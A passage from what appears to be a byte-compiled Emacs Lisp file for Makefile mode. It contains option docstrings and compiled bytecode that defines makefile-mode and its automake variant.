file ends with a backslash (the continuation character) followed by any whitespace. This is done by silently removing the trailing whitespace, leaving the backslash itself intact. IMPORTANT: Please note that enabling this option causes Makefile mode to MODIFY A FILE WITHOUT YOUR CONFIRMATION when "it seems necessary". `makefile-browser-hook': A function or list of functions to be called just before the browser is entered. This is executed in the makefile buffer. `makefile-special-targets-list': List of special targets. You will be offered to complete on one of those in the minibuffer whenever you enter a `.'. at the beginning of a line in Makefile mode. (defalias 'makefile-mode #[nil "\306 \210\307\310\311\312\313$\210\307\310\314\312\313$\210\307\310\315\312\313$\210\316\317!\210\316\320!\210\316\321!\210\316\322!\210\316\323!\210\316\300!\210\324\316\301!\210\325\316\303!\210\n\316\304!\210\326 '\316\327!\210\330\316\331!\210\332\316\333!\210\334\316\335!\210\336\316\337!\210\340\341(\342)\343*!\210\344+!\210\313,\345\346!\207" [font-lock-defaults add-log-current-defun-function makefile-imenu-generic-expression imenu-generic-expression dabbrev-abbrev-skip-leading-regexp makefile-mode-abbrev-table kill-all-local-variables add-hook write-file-functions makefile-warn-suspicious-lines nil t makefile-warn-continuations makefile-cleanup-continuations make-local-variable makefile-target-table makefile-macro-table makefile-has-prereqs makefile-need-target-pickup makefile-need-macro-pickup (makefile-font-lock-keywords nil nil ((36 . ".")) backward-paragraph (font-lock-syntactic-keywords . makefile-font-lock-syntactic-keywords)) makefile-add-log-defun "\\$" fill-paragraph-function makefile-fill-paragraph comment-start "#" comment-end "" comment-start-skip "#+[ ]*" indent-line-function indent-to-left-margin makefile-mode "Makefile" use-local-map set-syntax-table run-mode-hooks makefile-mode-hook local-abbrev-table major-mode mode-name makefile-mode-map makefile-mode-syntax-table indent-tabs-mode] 5 (#$ . 23964) nil]) (byte-code "\302\303N\204\f \304\302\303\305#\210\306\307!\204 \304\307\310\311#\210\307B\312\307!\204( \313\307\314 \"\210\306\315!\2044 \304\315\310\311#\210\315B\312\315!\204D \313\315\316 \"\210\304\301\310\311#\210\301B\312\301!\204^ \313\301\317\301\320\"\210 \"\210\304\311\321\322#\207" [current-load-list makefile-automake-mode-abbrev-table makefile-automake-mode-hook variable-documentation put "Hook run when entering Makefile.am mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" boundp makefile-automake-mode-map definition-name makefile-automake-mode default-boundp set-default make-sparse-keymap makefile-automake-mode-syntax-table make-syntax-table define-abbrev-table nil derived-mode-parent makefile-mode] 5) #@240 An adapted `makefile-mode' that knows about automake. In addition to any hooks its parent mode might have run, this mode runs the hook `makefile-automake-mode-hook', as the final step during initialization. \{makefile-automake-mode-map} (defalias 'makefile-automake-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203 \314\311\313\310\313N#\210\315!\204' \316\317 \"\210\320\f!\211\2036 \321 =\203<